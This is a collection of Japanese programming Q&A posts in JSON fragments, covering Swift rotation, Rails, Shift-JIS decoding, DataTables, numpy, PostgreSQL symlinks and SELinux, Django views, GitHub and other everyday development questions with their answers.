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"body": "### 実現したいこと\n\n画面遷移したときに、それぞれの画面に対応した向きに回転させて表示したい。\n\n### この質問はマルチポストしています\n\n<https://teratail.com/questions/pma8xcsqcmwvvl> \n今後はマルチポストを行わないようにします。\n\n### 前提\n\n縦画面と横画面の複数の画面からなるアプリを開発中ですが、下記の問題を自力で解決することができなかったので、どうすればよいのかご教授をお願いしたいです。\n\nTabBarControllerを使用しており、各画面をTabを使い画面遷移します。それぞれ専用のPageViewControllerで管理しているGraphViewController（横画面）とTopViewController（縦画面）で遷移するときに、それぞれの画面に対応した向きに回転させて表示したいのですが、下記の問題が起きています。\n\n※各ControllerのUIはxibで作成しており、GraphViewControllerは横画面です。\n\n[](https://i.stack.imgur.com/7nKo7.png)\n\n### 問題点\n\nビルドして最初にTopViewControllerからGraphViewControllerに遷移したときは問題なく画面が回転され横画面で表示されますが、その後TopViewControllerに戻ったときに縦画面への回転がされず横画面のままで表示されています。\n\n### 試したこと\n\n下記の記事を参考にしました。\n\n[【Swift5】\n特定画面で縦画面/横画面に固定させる](https://qiita.com/yannagi41/items/95b7210763489b109c9a) \n[【Swift】一画面だけ横向き固定にする](https://freelance-\nstyle.net/%E3%80%90swift%E3%80%91%E4%B8%80%E7%94%BB%E9%9D%A2%E3%81%A0%E3%81%91%E6%A8%AA%E5%90%91%E3%81%8D%E5%9B%BA%E5%AE%9A%E3%81%AB%E3%81%99%E3%82%8B/) \n[【Swift4】特定の画面で回転を制御する方法について、サンプルを作って理解する](https://qiita.com/orimomo/items/6ab57c6706a8dbc181a1)\n\n### コード\n\nTabBarController\n\n```\n\n class TabBarController: UITabBarController {\n override func viewDidLoad() {\n super.viewDidLoad()\n }\n }\n \n extension UITabBarController {\n open override var shouldAutorotate: Bool {\n if let VC = selectedViewController {\n return VC.shouldAutorotate\n }else{\n return true\n }\n }\n \n open override var supportedInterfaceOrientations: UIInterfaceOrientationMask {\n if let VC = selectedViewController {\n return VC.supportedInterfaceOrientations\n }else{\n return .portrait\n }\n }\n }\n \n```\n\nTopPageViewController\n\n```\n\n class TopPageViewController: UIPageViewController {\n override var shouldAutorotate: Bool {\n if let VC = controllers.first {\n return VC.shouldAutorotate\n }\n return false\n }\n \n override var supportedInterfaceOrientations: UIInterfaceOrientationMask {\n if let VC = controllers.first {\n return VC.supportedInterfaceOrientations\n }\n return .portrait\n }\n \n```\n\nTopViewController\n\n```\n\n class TopViewController: UIViewController {\n override var shouldAutorotate: Bool {\n UIDevice.current.setValue(1, forKey: \"orientation\")\n return false\n }\n \n override var supportedInterfaceOrientations: UIInterfaceOrientationMask {\n return .portrait\n }\n \n```\n\nGraphPageViewController\n\n```\n\n class GraphPageViewController: UIPageViewController {\n override var shouldAutorotate: Bool {\n if let VC = controllers.first {\n return VC.shouldAutorotate\n }else{\n return true\n }\n }\n \n override var supportedInterfaceOrientations: UIInterfaceOrientationMask {\n if let VC = controllers.first {\n return VC.supportedInterfaceOrientations\n }else{\n return .landscapeLeft\n }\n }\n \n```\n\nGraphViewController\n\n```\n\n class GraphViewController: UIViewController {\n override var supportedInterfaceOrientations: UIInterfaceOrientationMask {\n \n if(UIDevice.current.orientation.rawValue == 4){\n UIDevice.current.setValue(4, forKey: \"orientation\")\n return .landscapeLeft\n }\n else {\n UIDevice.current.setValue(3, forKey: \"orientation\")\n return .landscapeRight\n }\n }\n \n override var shouldAutorotate: Bool {\n if(UIDevice.current.orientation.rawValue == 1){\n return false\n }\n else{\n return true\n }\n }\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n UIDevice.current.setValue(4, forKey: \"orientation\")\n print(supportedInterfaceOrientations)\n }\n \n```",
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"title": "Swift 画面遷移時に画面を回転させて表示したい",
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"body": "## 問題点\n\nRails Controller から require すると失敗する.\n\n```\n\n cannot load such file -- google/apis/sheets_v4\n \n```\n\n# 利用している Gem\n\n`gem \"google-api-client\"`\n\n```\n\n google-api-client (0.53.0)\n google-apis-core (~> 0.1)\n google-apis-generator (~> 0.1)\n \n```\n\n## 備考1. Rakeタスクからだと成功する（Success require from rake tasks）\n\n以下のような `lib/tasks/xxxx.rake` 上においては正常にロードができ、Google API 認証も成功します。\n\n```\n\n # Success require's\n require \"google/apis/sheets_v4\"\n \n namespace :retrieve_google_spreadsheed do\n \n desc \"hogehoge\"\n task hogehoge_tasks: :environment do\n \n @service = Google::Apis::SheetsV4::SheetsService.new\n ...\n \n```\n\n## 備考2. 他のバージョンも試したが同じ（Same problem for other versions)\n\nGithub Issue 等の情報を参考に非互換バージョンである、0.7 等も試しましたが、同じ結果に。 \nそもそも Rails Controller や Concerns 内から利用するようなソフトでない事は承知ですが、詳細な理由を知りたいと考えております。\n\n以上、宜しくお願いします。",
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"title": "Gem \"google-api-client\" を Rails Controller 内から利用したいが `cannot load such file -- google/apis/sheets_v4` となる",
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"body": "下記のURLを参考にして Design Automation を試したいが、添付画像のようにnew app が作成できない状態となります。 \nClient ID と Client Secret の取得時には、作成するアプリにDesign Automation APIとData Management\nAPI も指定してあります。\n\n<https://adndevblog.typepad.com/technology_perspective/2022/08/design-\nautomation-api-sample.html>\n\n添付画像は 1 Step 前で、Create/Updateを実行した後に表示された画像です。 \nどなたかお願いします。\n\n[](https://i.stack.imgur.com/WSJYG.png)",
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"title": "Forge Design Automation - API サンプルの実行で、appが作成できない",
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"body": "文字コードがshift-jisのバイトデータを、utf-8に変換したいのですが、 \n変換できない文字が含まれており、どのように変換すればよいか分かりませんでした。 \n例えば外字の「①」は、以下のようにすることで「(1)」に変換することができましたが、 \n「(1)」ではなく、utf-8の「①」に変換するにはどうしたらよいでしょうか？\n\n```\n\n byte_date = b'abc\\x82\\xa0\\x82\\xa2\\x82\\xa4\\x87\\x40' # ← shift_jisの「abcあいう①」\n byte_date = byte_date.replace(b'\\x87\\x40', b'(1)') # \\x87\\x40は、shift_jisの①\n text = byte_date.decode(encoding='shift_jis', errors='replace') # errors='replace'は不要？\n print(text)\n \n```\n\n以下は、上記コードを実行した結果です。\n\n```\n\n abcあいう(1)\n \n```\n\n以下のように変換されることを期待しています。\n\n```\n\n abcあいう①\n \n```\n\n[追記] \n以下の方法で、期待どおりの結果がえられました。\n\n```\n\n byte_date = b'abc\\x82\\xa0\\x82\\xa2\\x82\\xa4\\x87\\x40' # ← shift_jisの「abcあいう①」\n text = byte_date.decode(encoding='cp932')\n print(text)\n \n```",
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"title": "utf-8に変換できないshift-jisの文字（環境依存文字）を、個別に変換する方法",
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"body": "質問の内容は、encodingをcp932にすれば解決しますが、「utf-8に変換できないshift-\njisの文字（環境依存文字）を、個別に変換する方法」(質問文の例のように「(1)」にするなど)としては、`codecs.register_error`で自前のエラーハンドラを登録して処理する方法もあります。\n\n * [Python標準ライブラリ - codecs](https://docs.python.org/ja/3/library/codecs.html#codecs.register_error)\n * [[python] やむを得ない事情で utf-8 の文字集合からなる日本語を sjis エンコードしなければならない場合のワークアラウンド](https://zenn.dev/hassaku63/articles/f7ca587b86398c)\n\n```\n\n # coding: utf-8\n \n import codecs\n \n byte_date = b'abc\\x82\\xa0\\x82\\xa2\\x82\\xa4\\x87\\x40' # ← shift_jisの「abcあいう①」\n def decode_error(exc):\n encoding, text, start, end, msg = exc.args\n if text[start:start+2] == b'\\x87\\x40':\n return '(1)', start + 2\n raise exc\n codecs.register_error('my_error', decode_error)\n text = byte_date.decode(encoding='shift_jis', errors='my_error')\n print(text)\n \n```",
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"body": "# 問題点\n\nソースコード上、js/index.jsにハードコードしたdata変数では Datatablesに表示ができます。 \nしかし、APIで取得したデータtest_dataでは表示できません。\n\nconsole.logで表示したデータは、ブラウザのデベロッパーツールの表示において、どちらのデータも以下のように同じ形式にしか見えませんでした。\n\n```\n\n Attray(5)\n 0:{id:1,name:'A'}\n 1:{id:1,name:'B'}\n ....\n \n```\n\n# ソースコード\n\n関連するhtmlファイル、scriptファイルを以下に示します。\n\nbase.html\n\n```\n\n <!doctype html>\n {% load static %}\n <html lang=\"ja\">\n <head>\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial_scale=1\">\n <title>{% block page_title %}{% endblock %}</title>\n {# --- css --- #}\n <link rel=\"stylesheet\" href=\"{% static 'css/normalize.css' %}\">\n <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css\" integrity=\"sha384-9aIt2nRpC12Uk9gS9baDl411NQApFmC26EwAOH8WgZl5MYYxFfc+NcPb1dKGj7Sk\" crossorigin=\"anonymous\">\n <link rel=\"stylesheet\" href=\"https://cdn.datatables.net/1.10.16/css/dataTables.bootstrap4.min.css\"/>\n <link rel=\"stylesheet\" href=\"https://gyrocode.github.io/jquery-datatables-checkboxes/1.2.12/css/dataTables.checkboxes.css\"/>\n <link rel=\"stylesheet\" href=\"{% static 'css/base.css' %}\">\n {% block extra_css %}{% endblock %}\n </head>\n <body>\n <div class=\"ui container\">\n {% block content %}{% endblock %}\n </div>\n {# --- js --- #}\n <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js\" defer></script>\n <script src=\"https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js\" integrity=\"sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo\" crossorigin=\"anonymous\" defer></script>\n <script src=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js\" integrity=\"sha384-OgVRvuATP1z7JjHLkuOU7Xw704+h835Lr+6QL9UvYjZE3Ipu6Tp75j7Bh/kR0JKI\" crossorigin=\"anonymous\" defer></script>\n <script src=\"https://cdn.datatables.net/1.10.16/js/jquery.dataTables.min.js\" defer></script>\n <script src=\"https://cdn.datatables.net/1.10.16/js/dataTables.bootstrap4.min.js\" defer></script>\n <script src=\"https://gyrocode.github.io/jquery-datatables-checkboxes/1.2.12/js/dataTables.checkboxes.min.js\" defer></script>\n {% block extra_js %}{% endblock %}\n </body>\n </html>\n \n```\n\nindex.html\n\n```\n\n {% extends \"base.html\" %}\n {% load static %}\n \n {% block page_title %}TEST PAGE{% endblock %}\n \n {% block extra_css %}\n {% endblock %}\n \n {% block content %}\n <header class=\"page-header\" role=\"banner\">\n <h1>Datatables Checkbox</h1>\n </header>\n <div class=\"page-main\" role=\"main\">\n <table id=\"test_table\" class=\"table\" style=\"width:100%\">\n <thead>\n <tr id=\"test_header\">\n <th></th>\n <th>key</th>\n <th>name</th>\n </tr>\n </thead>\n </table>\n </div>\n {% endblock %}\n {% block extra_js %}\n <script src=\"{% static 'js/index.js' %} \" defer></script>\n {% endblock %}\n \n```\n\njs/index.js\n\n```\n\n let tx_table;\n \n $ (function(){\n var num = 0;\n let test_data = [];\n \n let data = [\n {id:1,name:\"A\"},\n {id:2,name:\"B\"},\n {id:3,name:\"C\"},\n {id:4,name:\"D\"},\n {id:5,name:\"E\"},\n ]\n \n $.ajax({\n type : \"GET\",\n url : \"http://127.0.0.1:8000/api\",\n dataType : \"json\",\n async : false,\n }).then(\n function(json) {\n for (var i = 0; i < json.length; i++){\n test_data [num++] = {id:json[i].id, name:json[i].name};\n }\n }\n );\n \n // デフォルトの設定を変更\n $.extend( $.fn.dataTable.defaults, { \n language: {\n url: \"http://cdn.datatables.net/plug-ins/9dcbecd42ad/i18n/Japanese.json\"\n } \n });\n \n console.log(data)\n console.log(test_data)\n \n let option = {\n columns: [\n {\n data: 'name',\n checkboxes: {\n selectRow: true\n }\n },\n {data: 'id'},\n {data: 'name'},\n ],\n data: data,\n order: [1, 'asc'],\n select: {\n style: 'multi'\n },\n };\n \n tx_table = $('#test_table').DataTable(option);\n \n });\n \n \n```",
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"title": "jQuery Datatables にAPIで取得したデータベースデータが表示できない。",
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"body": "自己解決したので、回答を投稿します。\n\nスクリプトの実行順序を理解していなかったため、テーブルに反映できていませんでした。\n\n# スクリプトファイルのデバッグ\n\nChromeのデベロッパーツールによって、スクリプトファイルのブレイクポイントで途中の変数状態を見ることができました。\n\n[ChromeのデベロッパーツールでJavaScriptをデバッグする方法](https://ics.media/entry/190517/)\n\nブレイクポイントで判明したのは、datatablesに反映するコードに到達した時点で、test_data のデータが取得できていない状態でした。\n\n# API取得後に反映するように変更する。\n\njs/index.js\n\n```\n\n let tx_table;\n \n $ (function(){\n var num = 0;\n let test_data = [];\n \n let data = [\n {id:1,name:\"A\"},\n {id:2,name:\"B\"},\n {id:3,name:\"C\"},\n {id:4,name:\"D\"},\n {id:5,name:\"E\"},\n ]\n \n $.ajax({\n type : \"GET\",\n url : \"http://127.0.0.1:8000/api\",\n dataType : \"json\",\n async : false,\n }).then(\n function(json) {\n for (var i = 0; i < json.length; i++){\n test_data [num++] = {id:json[i].id, name:json[i].name};\n }\n }\n ).always(\n function(){\n \n let option = {\n columns: [\n {\n data: 'name',\n checkboxes: {\n selectRow: true\n }\n },\n {data: 'id'},\n {data: 'name'},\n ],\n data: data,\n order: [1, 'asc'],\n select: {\n style: 'multi'\n },\n };\n \n tx_table = $('#test_table').DataTable(option);\n \n }\n );\n \n // デフォルトの設定を変更\n $.extend( $.fn.dataTable.defaults, { \n language: {\n url: \"http://cdn.datatables.net/plug-ins/9dcbecd42ad/i18n/Japanese.json\"\n } \n });\n \n });\n \n \n```",
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"body": "現在接続しているユーザーを確認したところ、下記のような結果になったのですが、これはホスト名が「localhost」、ユーザ名が「root」であるということですか？\n\n```\n\n mysql> select user(), current_user();\n +----------------+----------------+\n | user() | current_user() |\n +----------------+----------------+\n | root@localhost | root@localhost |\n +----------------+----------------+\n \n```",
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"title": "mysqlのホスト名と、ユーザ名",
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"body": "引用ですが、下記のものらしいです。\n\n> user() 関数は接続時に指定したユーザー名とホストを返します。 current_user()\n> 関数は実際に認証されたユーザー名とホストを返します。通常この二つは同じ結果を返しますが、接続時に指定したユーザー名ではないユーザーとして認証がされてしまうケースがあるようです(匿名ユーザーがらみでそうなるようです)。 \n> <https://www.javadrive.jp/mysql/user/index11.html>",
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"body": "pythonでnumpyを使用した線形代数問題の解き方に詰まっています。\n\nA=100％でXの値7、Ｙの値1、Ｚの値6.5 \nB=100%でXの値1.2、Ｙの値1.2、Ｚの値1.8 \nC=100%でXの値0.5、Ｙの値8.5、Ｚの値0.95\n\n例題 \n目標：X=7、Ｙ=1、Ｚ=6.5＃答えＡ＝100％、Ｂ＝0％、Ｃ＝0％ \n目標：X=1.2、Ｙ=1.2、Ｚ=1.8＃答えＡ＝0％、Ｂ＝100％、Ｃ＝0％ \n目標：X=0.5、Ｙ=8.5、Ｚ=0.95＃答えＡ＝0％、Ｂ＝0％、Ｃ＝100％ \n目標：X=0.109、Ｙ=0.289、Ｚ=0.1295＃答えＡ＝1％、Ｂ＝2％、Ｃ＝3％ \n目標：X=8.7、Ｙ=10.7、Ｚ=9.25＃答えＡ＝100％、Ｂ＝100％、Ｃ＝100％\n\nA,B,Cのパーセンテージを調整してA,B,CそれぞれのX,Y,Z足した時、目標のX,Y,Zの値に合わせるコードを製作しているのですがなかなかうまくいきません。numpyを使用して線形代数を使用すればいいというところまではいったのですがそこで止まっています。",
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"title": "pythonを使用した線形代数の計算について",
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"body": "行列で方程式解くので, 縦横逆で\n\n```\n\n import numpy as np\n \n mat = np.array([[7.0, 1.2, 0.5],\n [1.0, 1.2, 8.5],\n [6.5, 1.8, 0.95]])\n \n r = np.array([0.109, 0.289, 0.1295])\n np.rint(np.linalg.solve(mat, r) *100)\n \n # array([1., 2., 3.])\n \n```",
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"body": "SymPy 使う方法 \n(数値(浮動小数点数)の誤差が少ないはず)\n\n```\n\n from sympy import symbols, Matrix, solve\n \n a, b, c = symbols('a b c')\n mat1, mat2, mat3 = Matrix([7, 1, 6.5]), Matrix([1.2, 1.2, 1.8]), Matrix([0.5, 8.5, 0.95])\n \n expr = a*mat1 +b*mat2 +c*mat3\n display(expr)\n solve(expr - Matrix([0.109, 0.289, 0.1295]))\n \n```\n\n[](https://i.stack.imgur.com/wTYrS.png)",
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"body": "# 環境\n\nWSL2上でUbutntu動かしてます。\n\nDescription: Ubuntu 22.04.2 LTS \nWSL バージョン: 1.2.5.0 \nカーネル バージョン: 5.15.90.1 \nWSLg バージョン: 1.0.51 \nMSRDC バージョン: 1.2.3770 \nDirect3D バージョン: 1.608.2-61064218 \nDXCore バージョン: 10.0.25131.1002-220531-1700.rs-onecore-base2-hyp \nWindows バージョン: 10.0.22621.1778\n\n# 概要\n\n以下の記事を参考にAstroNvimの導入を試みています。\n\n[AstroNvim のインストール | VSCodeが物足りない人へ\nAstroNvimの紹介](https://zenn.dev/chot/articles/72bc7dfbec3b33#astronvim-%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB)\n\n「AstroNvimのインストール」の項で `$ cd .config/` を実行しようとしたんですが、そんなものはないと表示されました。\n\n# ディレクトリ構造\n\n```\n\n nvim\n .\n ├── BACKERS.md\n ├── BSDmakefile\n ├── CMakeLists.txt\n ├── CMakePresets.json\n ├── CONTRIBUTING.md\n ├── LICENSE.txt\n ├── MAINTAIN.md\n ├── Makefile\n ├── README.md\n ├── build\n ├── ci\n ├── cmake\n ├── cmake.config\n ├── cmake.deps\n ├── cmake.packaging\n ├── contrib\n ├── runtime\n ├── scripts\n ├── src\n └── test\n \n```",
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"title": "nvimのディレクトリにconfigがない？",
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"body": "`.config` が存在しなければ作成しましょう。\n\n[AstroNvim](https://github.com/AstroNvim/AstroNvim) リポジトリのインストール手順を見ると、既存の\n`~/.config/nvim` をバックアップしてから作業を進めていますが、今回は Neovim 自体も新規インストールなので `~/.config`\nが存在しない状態なのだと思います。 \n(参照している解説記事ではこの部分を考慮し忘れている気がします)\n\n>\n```\n\n> mv ~/.config/nvim ~/.config/nvim.bak\n> mv ~/.local/share/nvim ~/.local/share/nvim.bak\n> \n```\n\nもう一点、参考にした記事では (ビルド用に `git clone` した) `neovim` の下に `.config`\nがあるかのような記述になっていますが、こちらも恐らく誤りです。\n\n* * *\n\n対応として、以下のようにまず `mkdir` で `~/.config` を作成してから `git clone` を実行してみてください。\n\n```\n\n mkdir ~/.config\n git clone --depth 1 https://github.com/AstroNvim/AstroNvim ~/.config/nvim\n \n```",
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"body": "Swiftで以下のコードを書くとエラーが出ます。何が悪いのでしょうか。\n\n```\n\n let name = \"John\"\n let age = 25\n \n let message = String(format: \"名前：%s、年齢：%d歳\", name, age)\n print(message)\n \n```\n\nエラー\n\n```\n\n error: Execution was interrupted, reason: EXC_BAD_ACCESS (code=1, address=0xb441d7742da526b0).\n The process has been left at the point where it was interrupted, use \"thread return -x\" to return to the state before expression evaluation.\n \n```",
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"title": "String(format: の使用方法について",
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"body": "文字列を表すフォーマット指定子は`%s`ではなく、`%@`です。なので\n\n```\n\n let message = String(format: \"名前：%@、年齢：%d歳\", name, age)\n \n```\n\nで動くと思います。",
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"body": "参考書「Spring Framework超入門やさしくわかるWebアプリ開発」でクイズアプリの開発をしたのですが、 \nQuizControllerのOptionalの記述箇所だけ、赤いラインが出ます。 \n恐らく駄目だという事だと思うのですが、バージョンの違いなのか型の書き方がいけないのか分かりません。\n\n・QuizController.java\n\n```\n\n @GetMapping(\"/play\")\n public String showQuiz(QuizForm quizForm, Model model) {\n //Quizを取得(Optionalでラップ)\n Optional<Quiz> quizOpt = service.selectOneRandomQuiz(); ←ここの箇所\n //値が入っているか判定する\n if(quizOpt.isPresent()) {\n //QuizFormへの詰め直し\n Optional<QuizForm> quizFormOpt = quizOpt.map(t -> makeQuizForm(t));\n quizForm = quizFormOpt.get();\n } else {\n model.addAttribute(\"msg\", \"問題がありません・・・\");\n return \"play\";\n }\n //表示用「Model」への格納\n model.addAttribute(\"quizForm\", quizForm);\n return \"play\";\n }\n \n```\n\n[](https://i.stack.imgur.com/GMfkz.png)\n\nバージョン \nJava11",
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"title": "Optionalがパラメータ化できない",
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"body": "以下データフォーマットが出力されるログがあります。 \nそのログを辞書型で取得する方法はありますでしょうか？ \n色々試したりchatgptを利用しましたが適切な回答を得ることが出来ませんでした。\n\n```\n\n 1:call 5:call-in Grp: null\n 2:call 6:call-call Grp: null\n 3:call-dial List: 1 DC: 94 7:call-dial List: 4 DiC: 10\n 4:call-dial List: 1 DC: 95 8:callrelease\n 9:call-work ReaC: 6 Grop: null\n 10:call-work ReaC: 9 Grop: null\n \n```\n\n取得したいイメージ\n\n```\n\n [\n {1:\"call\"},\n {2:\"call\"},\n {3:\"call-dial List: 1 DC: 94\"},\n {4:\"call-dial List: 1 DC: 95\"},\n {5:\"call-in Grp: null\"},\n {7:\"call-dial List: 4 DiC: 10\"},\n {5:\"call-in Grp: null\"},\n {8:\"callrelease\"},\n {9:\"call-work ReaC: 6 Grop: null\"},\n {10:\"call-work ReaC: 9 Grop: null\"}\n ]\n \n```",
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"title": "特定フォーマットのデータを辞書型で抽出したい",
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{
"body": "自己解決しました。ありがとうございました。\n\n```\n\n config_list = re.findall(r'(\\d+):(.*?)(?=\\s+\\d+:|$)', config_date)\n config_dict_list = [{key: value.strip()} for key, value in config_list]\n \n```",
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{
"body": "既に解決済みですが、`$` ではなく `\\n` にすると `str.strip()`\nは不要になります。また、質問文にある「取得したいイメージ」では辞書のキーは整数型で、整数値としてソートされている様に見えます。(一部書き間違いの様な部分がありますが)\n\n```\n\n config_list = re.findall(r'(\\d+):(.*?)(?=\\s+\\d+:|\\n)', config_date)\n config_dict_list = sorted([{int(key): value} for key, value in config_list],\n key=lambda x: [*x.keys()])\n \n from pprint import pprint\n pprint(config_dict_list)\n \n # [{1: 'call'},\n # {2: 'call'},\n # {3: 'call-dial List: 1 DC: 94'},\n # {4: 'call-dial List: 1 DC: 95'},\n # {5: 'call-in Grp: null'},\n # {6: 'call-call Grp: null'},\n # {7: 'call-dial List: 4 DiC: 10'},\n # {8: 'callrelease'},\n # {9: 'call-work ReaC: 6 Grop: null'},\n # {10: 'call-work ReaC: 9 Grop: null'}]\n \n```",
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"body": "/var/lib/pgsql 配下のファイルをすべて、拡張ディスク（/mnt/bv1/data/pgsql）に移動し、/var/lib/pgsql\nをシンボリックリンクに変更しました。拡張ディスクに移動したファイルは、オーナーをpostgres,パーミッションを755に変更しています。 \nこの状態で、サービスを起動すると、postmaster: could not access directory \"/var/lib/pgsql/data\":\nPermission denied となり、起動できません。 \nパーミッションの問題のようなので、拡張ディスクに移動したファイルのパーミッションを777に変更しても同じエラーになってしまいます。\n\n```\n\n lrwxrwxrwx. 1 postgres postgres 19 Jun 8 11:02 pgsql -> /mnt/bv1/data/pgsql\n \n```\n\n実施した手順\n\n 1. mv /var/lib/pgsql/* /mnt/bv1/data\n 2. chmod -R 755 /mnt/bv1/data\n 3. ln -s /mnt/bv1/data/pgsql /var/lib\n 4. sudo service postgrtesql start\n\nバージョン \n・10.23",
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"title": "postmaster: could not access directory \"/var/lib/pgsql/data\": Permission denied",
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"body": "`/var/lib/pgsql/` の中身を`/mnt/bv1/data/` に移動しているので、シンボリックリンクの貼り方が間違っている気がします。\n\n今の状態からシンボリックリンクを貼り直すなら…\n\n```\n\n # rm /var/lib/pgsql\n # ln -s /mnt/bv1/data /var/lib/pgsql\n \n```\n\n(参考) 本来実行すべきだったコマンド例:\n\n```\n\n # mv /var/lib/pgsql /mnt/bv1/data\n # ln -s /mnt/bv1/data/pgsql /var/lib/pgsql\n \n```",
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"body": "SELinux が有効なのですね。\n\n移動先は /mnt/bv1/data/ ですか？ /mnt/bv1/data/pgsql/ ですか？ \n前者と仮定すると以下の手順になると思います。\n\n```\n\n [root@host]# cp -a /var/lib/pgsql/* /mnt/bv1/data/\n [root@host]# ls /mnt/bv1/data/\n backups data\n \n [root@host]# semanage fcontext -a -e /var/lib/pgsql /mnt/bv1/data\n [root@host]# restorecon -R /mnt/bv1/data/\n \n /mnt/bv1/data を /var/lib/pgsql と同じコンテキストとする。\n \n [root@host]# mv /var/lib/pgsql /var/lib/pgsql.bak\n [root@host]# ln -s /mnt/bv1/data /var/lib/pgsql\n [root@host]# ls -ld /var/lib/pgsql\n lrwxrwxrwx. 1 root root 13 6月 9 21:07 /var/lib/pgsql -> /mnt/bv1/data\n [root@host]# restorecon /var/lib/pgsql\n \n シンボリックリンク自体のコンテキストも修正が必要。\n \n```",
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"body": "## 問題点\n\nurls.pyで、ソースコードのように、urlpatternsを定義しました。 \nBookViewerは、APIViewを継承してget,post,deleteメソッドを記述しました。 \npostmanなどで、APIコマンドで、GET,POST,DELETEを発行しましたが、DELETEコマンドに対して、getメソッドが呼び出されてしまいます。 \n何か記述に問題があるのでしょうか？\n\n## 環境\n\nOS:Ubuntu 22.04.1\n\n## ソースコード\n\nviews.py\n\n```\n\n from django.http import JsonResponse, HttpResponse\n \n from rest_framework import status\n from rest_framework.views import APIView\n \n class BookViewer(APIView):\n self get(self, request, *args, **kwargs):\n return JsonResponse({'status':'get'})\n \n self post(self, request, *args, **kwargs):\n return JsonResponse({'status':'post'})\n \n self delete(self, request, *args, **kwargs):\n return HttpResponse(status=status.HTTP_204_NO_CONTENT)\n \n \n```\n\nurls.py\n\n```\n\n from django.urls import path\n \n from .view import BookViewer\n urlpatterns = [\n path('book/<pk>/<option>/',BookViewer.as_view()),\n ]\n \n \n```",
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"title": "APIView Deleteコマンドで、getメソッドが呼び出されてしまう。",
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"body": "メソッド定義が self で始まっているのが間違いです。 APIView サブクラスでメソッドを定義する場合は、self ではなく def\nを使用する必要があります。\n\nこのコードを試してください:\n\n```\n\n from django.http import JsonResponse, HttpResponse\n from rest_framework import status\n from rest_framework.views import APIView\n \n class BookViewer(APIView):\n def get(self, request, *args, **kwargs):\n return JsonResponse({'status': 'get'})\n \n def post(self, request, *args, **kwargs):\n return JsonResponse({'status': 'post'})\n \n def delete(self, request, *args, **kwargs):\n return HttpResponse(status=status.HTTP_204_NO_CONTENT)\n \n```\n\nまた、データ型を追加して urls.py コードを修正します。\n\n```\n\n from django.urls import path\n from .views import BookViewer\n \n urlpatterns = [\n path('book/<int:pk>/<str:option>/', BookViewer.as_view()),\n ]\n \n```",
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"body": "アプリで入力したキーワードをもとに、 \n下記内容で、指定したフォルダIDからキーワードを含むファイルの取得を実施していました。 \n今まで取得できていたのですが、最近になり取得できなくなってしまいました。 \n他に取得する方法があれば教えていただきたいです。\n\n\"fullText contains 'キーワード' and 'フォルダID' in parents and mimeType !=\n'application/vnd.google-apps.folder' and trashed = false\"\n\nキーワードとフォルダ指定をand条件で取得したいのですが、 \nキーワードのみ、フォルダ指定のみの条件であれば取得できることは確認しています。",
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"body": "### 現在のGitHub運用\n\n * CODEOWNERSの設定によりmasterへのプルリクマージはコードオーナーの承認を必須にしている\n * GitHubのSlack連携(`/github subscribe`)によりプルリク作成時にはレビュー者にメンションが飛ぶようにしている\n * masterにプルリクをマージすると、GitHub Actionsにより本番デプロイされる、同様にdevelopmentにプルリクをマージするとステージングにデプロイされる\n\n### 困っていること\n\nステージング環境はエンジニアが自由にデプロイを行いたいが、developmentへのプルリクを作った際に自動的にコードオーナーがレビュアーに入ってしまい、その結果Slack通知がきて煩わしい\n\n### やりたいこと\n\ndevelopmentへのプルリクのレビュワーにはコードオーナーを入れない方法はありますでしょうか？ \nもしくは`/github subscribe`の設定で、reviewsの通知をするのを特定のブランチだけにできないでしょうか？ \nその他、通知がこないようにする方法がありますでしょうか？",
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"title": "GitHubのCODEOWNERS設定およびSlack連携について",
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"body": "GmailAPIを利用したいが、料金について教えて教えてほしい。 \nGoogle Work Spaceを法人アカウントで加入中ですが無料で対応できる範囲について知りたい。",
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"title": "gmailAPIの料金体系について",
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"body": "Webシステム上にて発生しているAllowd memory sizeエラーについて、解決の糸口を掴みたいです。\n\n**環境** \nService: ECS FARGATE \nDocker image: php:7.2.34-apache \nFramework: Laravel 5.6 \nDatabase: 5.7.mysql_aurora.2.11.1\n\n**メッセージ**\n\n```\n\n EXCEPTION Allowed memory size of 6442450944 bytes exhausted (tried to\n > allocate 139968446450312 bytes)\n \n```\n\n**発現箇所** \n`vendor/laravel/framework/src/Illuminate/Database/Eloquent/Concerns/HasAttributes.php` \n等複数箇所\n\n**頻度** \n2~4回/月 ほど\n\n同一TASK上で一度発生すると、すべてのリクエストで発生し、かつ自力では復旧できなくなってしまいます。 \nopcache_reset()をすると治ることは確認していますので、何かしらの要因でopcacheが壊れていると推測しています。\n\nシステムは数年運用しておりますが、上記現象は確認しておらず、ここ２ヶ月ほどで見られるようになりました。\n\n根本解決の糸口がつかめず参ってしまっています。 \nなにか確認すべき事象や、ナレッジを共有いただけないでしょうか。 \nよろしくお願いします。",
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"title": "予期しないAllowd memory sizeエラーについて",
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"body": "↓確認しました。 \n[getselection contenteditable\n特定のdiv内でユーザーが選択した範囲を取得する](https://ja.stackoverflow.com/questions/69756/getselection-\ncontenteditable-%e7%89%b9%e5%ae%9a%e3%81%aediv%e5%86%85%e3%81%a7%e3%83%a6%e3%83%bc%e3%82%b6%e3%83%bc%e3%81%8c%e9%81%b8%e6%8a%9e%e3%81%97%e3%81%9f%e7%af%84%e5%9b%b2%e3%82%92%e5%8f%96%e5%be%97%e3%81%99%e3%82%8b)\n\n下記のようにrange.toString()で選択範囲の文字列を取得できたのですが、HTMLタグも含めて取得するにはどうしたらよいでしょうか？\n\n```\n\n function onSelectionChange() {\n let selection = window.getSelection();\n if(selection.rangeCount != 1) {\n return;\n }\n \n const range = selection.getRangeAt(0);\n \n if(!range.collapsed){\n document.getElementById('result').textContent = range.toString();\n }\n \n }\n \n document.addEventListener('selectionchange', onSelectionChange);\n onSelectionChange();\n```\n\n```\n\n <html>\n <body>\n <div id=\"text\" contenteditable=\"true\"><b>bold</b> and <i>italic</i></div>\n <div id=\"result\"></div>\n </body>\n </html>\n```",
